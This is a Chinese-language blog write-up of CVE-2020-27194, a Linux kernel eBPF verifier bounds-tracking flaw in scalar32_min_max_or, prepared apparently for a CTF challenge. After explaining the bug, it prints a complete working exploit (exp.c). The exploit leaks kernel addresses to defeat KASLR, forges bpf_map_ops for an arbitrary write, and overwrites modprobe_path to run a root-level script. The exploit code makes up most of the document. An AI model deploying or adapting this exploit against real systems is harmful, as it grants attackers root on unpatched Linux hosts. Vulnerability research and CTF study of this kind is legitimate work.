CVE-2020-27194

CVE-2020-27194-ebpf提权漏洞分析及利用

前言

前几天看到玄武公众号推了篇博文,是一位大佬发的bpf的fuzz分享和通过这个fuzz挖到的CVE-2020-27194fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel。大概意思是在用户态模拟出ebpf的verifier来进行fuzz,改进了传统的在内核里fuzz的方式,大大节约了fuzz的时间。其专注于挖逻辑洞,以内存越界读写为判断标准来判定输入数据造成的效果,这个fuzz的思路非常精妙,恰好前几天GEEKPWN遇到了ebpf的题,根据poc可以看到漏洞类型和pwn2own的CVE-2020-8835非常类似,因此花了两天时间来写exp,在写这篇文章的时候已经有几个大佬发布了自己拿到root shell的视频,笔者比较菜,还是拿熟悉的modprobe_path来实现以root权限执行任意命令,后面自己会补一下拿root shell的exp,本文涉及到的文件在这里

漏洞分析

查看漏洞patch对应的commit,可以看到patch针对scalar32_min_max_or函数,漏洞产生的root cause在于下面的四行赋值,在进行BPF_OR操作时会将64位的smin_value/umin_value赋给32位的smin_val,并且在满足一定条件时将dst_reg->umin_value/dst_reg->umax_value赋值给dst->s32_min_value/dst->s32_max_value。看过CVE-2020-8835洞的师傅应该知道其漏洞产生的核心也是错用32位函数对64位变量进行操作,在64位数给32位赋值时高位截断,进而造成对输入数据的判断失误,产生越界读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
	static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;//vuln
u32 umin_val = src_reg->umin_value;//vuln

/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;

/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value;//vuln
dst_reg->s32_max_value = dst_reg->umax_value;//vuln
}
}

作者给出了一种典型的漏洞触发方式,首先创建一个map,从map中可以加载值到寄存器中,不妨假设我们将某个可控值加载到r5中,通过BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1)设置r5>0,通过BPF_LD_IMM64(BPF_REG_6, 0x600000002)BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1),设置r5<r6=0x600000002,进而让r5->umin_value=0x1,r5->umax_value=0x600000001。再让r5和立即数0进行OR运算BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0),,使得dst_reg->s32_min_value=dst_reg->s32_max_value,verifier认为r5的值恒为1,使用BPF_MOV32_REG(BPF_REG_7, BPF_REG_5),将r7赋值为r5即可让r7的值也恒为1,假如我们对r5加载的初始值为2,它首先可以绕过1<r5<0x600000001的检查进行OR运算,之后被verifier认为值为1.我们使用BPF_ALU64_IMM(BPF_RSH, BPF_REG_7, 1),对r7进行右移运算,verifier中得到值为0,而实际值为1,这样就产生了检查和实际运行值的不统一,进而可以利用造成越界读写。下面是部分调试的截图。

在进行OR运算前r5寄存器结构体的值。

OR运算赋值后更新的r5寄存器结构体。

在右移运算前的r7寄存器结构体。

在右移运算后的r7寄存器结构体。

从PoC到Exp

走到上面的步骤后其实后面和CVE-2020-8835的漏洞利用都一样了。

地址泄露

内核以struct bpf_array结构体管理map,其成员aux->value表征map的地址,我们使用BPF_ALU64_IMM(BPF_MUL,6,0x110), //r6 *= 0x110得到r6寄存器为0x110,将exp_map的地址存储到r7寄存器后使用BPF_ALU64_REG(BPF_SUB,7,6), //r7 -= r6让r7指向(struct bpf_array)->array_map_ops,这是一个位于内核文件中rdata区的数据结构,再通过BPF_LDX_MEM(BPF_DW,0,7,0),将值存储到r0寄存器,进而将这个值存储回map中,由于r6被verifier认为是0,因此r7-0再取值的结果被认为是一个合法的访问,借此我们可以计算出kaslr的值。

结构体偏移为0xc0处存储着wait_list->next指向自身地址,借此可以泄露出map的地址以及map_element的地址。

任意地址写

任意地址写在我上篇文章以及CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析这篇文章都有详细阐述,我们利用一个利用链bpf_map_update_value->(map->ops->map_push_elem)->array_map_get_next_key来构造任意地址写4字节。

控制流劫持

原本想尝试上篇文章的prctl提权,但是后面发现poweroff_cmd是一个不可写的地址,当我尝试进行赋值时,内核直接crash掉,之后搜了下发现有__request_module,进而找到modprobe_path来修改,这种思路和前面引用的rtfingc师傅的思路是一样的,原理是内核有一个全局的变量modprobe_path设置当打开错误格式文件时将会执行的命令,我们设置为一个修改flag权限的bash文件路径即可。

踩坑

这里我分享一下自己编写exp中遇到的坑。在调用完BPF_MAP_GET(0,5)加载ctrl_map[0]到r5之后要清空r0寄存器,即赋值为一个立即数,否则bpf认为可能存在内存泄露的风险。

在漏洞利用时有个条件需要绕过,即dst_reg->s32_min_value需要大于等于0,初始值为0x80000000。这里我通过BPF_JMP32_IMM(BPF_JLE, 5, 0x7fffffff, 1)来设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value;
dst_reg->s32_max_value = dst_reg->umax_value;
}

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/prctl.h>
#include "linux/bpf.h"
#include "bpf_insn.h"
#define LOG_BUF_SIZE 65535

#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */

#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */

int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];

char bpf_log_buf[LOG_BUF_SIZE];

void gen_fake_elf(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /my_exp");
system("chmod +x /my_exp");
system("echo -ne '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("\n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}

static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version);
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries);
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);

struct bpf_insn insns[]={
//
BPF_LD_MAP_FD(9,3), //r9 = ctrl_map_fd
BPF_MAP_GET(0,5), //r5 = ctrl_map_fd[0], r0 = &ctrl_map
BPF_ALU64_IMM(BPF_MOV,0,1),
BPF_JMP32_IMM(BPF_JLE, 5, 0x7fffffff, 1), //if r5 > 0:jmp pc+1
BPF_EXIT_INSN(), //r5->min_val = 1
BPF_JMP_IMM(BPF_JGT, 5, 0, 1), //if r5 > 0:jmp pc+1
BPF_EXIT_INSN(), //r5->min_val = 1

BPF_LD_IMM64(6, 0x600000002), //r6 = 0x600000002
BPF_JMP_REG(BPF_JLT, 5, 6, 1), //if r5 < r:jmp pc+1
BPF_EXIT_INSN(), //r5->max_val = 0x100000001

BPF_ALU64_IMM(BPF_OR, 5, 0), //r5 |= 0
BPF_MOV32_REG(6, 5), //r6_32 = r5_32
BPF_ALU64_IMM(BPF_RSH, 6, 1), //r6 >>= 1
BPF_ALU64_IMM(BPF_MUL,6,0x110), //r6 *= 0x110

BPF_LD_MAP_FD(9,4), //r9 = exp_map_fd
BPF_MAP_GET_ADDR(0,7), //r7 = &exp_map
BPF_ALU64_IMM(BPF_MOV,0,1),
BPF_ALU64_REG(BPF_SUB,7,6), //r7 -= r6

//
BPF_LD_MAP_FD(9,3), //r9 = ctrl_map_fd
BPF_MAP_GET_ADDR(0,6), //r6 = %ctrl_map
BPF_ALU64_IMM(BPF_MOV,0,1),
BPF_LDX_MEM(BPF_DW,0,7,0), //r0 = [r7+0]
BPF_STX_MEM(BPF_DW,6,0,0x10), //r6+0x10 = r0 = ctrl_map[2]
BPF_LDX_MEM(BPF_DW,0,7,0xc0), //r0 = [r7+0xc0]
BPF_STX_MEM(BPF_DW,6,0,0x18), //r6+0x18 = r0 = ctrl_map[3]
BPF_ALU64_IMM(BPF_ADD,0,0x50), //r0 += 0x50 => element_addr

BPF_LDX_MEM(BPF_DW,8,6,8), //r8 = [r6+8] = ctrl_map[1]
BPF_JMP_IMM(BPF_JNE,8,0x2,4),

//arb write

BPF_STX_MEM(BPF_DW,7,0,0), //[r7] = [ops] = r0 = element_addr
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//[ops+0x18] = BPF_MAP_TYPE_STACK
BPF_ST_MEM(BPF_W,7,0x24,-1), //max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0), //locak_off

//exit
BPF_ALU64_IMM(BPF_MOV,0,0), //
BPF_EXIT_INSN(),
};

void prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d, expmapfd: %d \n",ctrlmapfd,expmapfd);

progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if(progfd < 0){ __exit(strerror(errno));}

if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}

void pwn(){
printf("pwning...\n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf = malloc(0x3000);

uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64 = (uint64_t *)expbuf;

memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=2;
ctrlbuf64[1]=0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();

// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
//uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t kaslr = map_leak - 0xffffffff820488c0;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
//loglx("modprobe",modprobe_path);
getchar();
uint64_t fake_map_ops[]={
kaslr + 0xffffffff811f9d70,
kaslr + 0xffffffff811fae80,
0x0,
kaslr + 0xffffffff811fa5e0,
kaslr + 0xffffffff811f9e60, //get net key 5
0x0,
0x0,
kaslr + 0xffffffff811dee60,
0x0,
kaslr + 0xffffffff811dec20,
0x0,
kaslr + 0xffffffff811f9f20,
kaslr + 0xffffffff811fa4c0,
kaslr + 0xffffffff811f9ea0,
kaslr + 0xffffffff811f9e60, //map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr + 0xffffffff811fa210,
0x0,
kaslr + 0xffffffff811fa030,
kaslr + 0xffffffff811fac70,
0x0,
0x0,
0x0,
kaslr + 0xffffffff811f9df0,
kaslr + 0xffffffff811f9e20,
kaslr + 0xffffffff811f9fc0,
0,
};

// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);

//overwrite fake ops
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x2;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
uint64_t modprobe_path = 0xFFFFFFFF826613C0+kaslr;
expbuf64[0] = 0x5f796d2f - 1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x00707865 - 1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
return;
}


int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}

static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}

static void writemsg(void)
{
char buffer[64];

ssize_t n = write(sockets[0], buffer, sizeof(buffer));

if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}


static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version){

union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uint64_t)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (uint64_t)license,
.log_buf = (uint64_t)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));

}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries){

union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));

}
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));

}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

利用效果如下。

补充

在提交本文之后我参考de4dcr0w师傅的文章写了get root shell的exp,原理在师傅的文章中已经阐释地非常清晰,这里需要注意几点:

  1. 因为我是编译的带符号的内核,因此前面的几个关键地址可以通过符号表直接得到,对于无符号的内核需要爆破得到地址。在构造任意读爆破的过程中有些地址空间没有分配会直接crash掉(或者有读保护),每次crash需要手动调整起始地址,这样大约十次左右可以得到目标地址
  2. 在exp的编写中有很多结构体成员的偏移需要手动寻找,最好找的方式是在gdb中查找,如果找不到相关的结构体需要看源码里是否define了宏,是否有函数将此类型的变量作为参数,再到IDA里对应函数处查看参数类型,local types里可以清楚地看到成员的名字和偏移

参考

CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

CVE-2020-8835 pwn2own 2020 ebpf 通过任意读写提权分析

Kernel Pwn 学习之路 - 番外

您的支持将鼓励我继续创作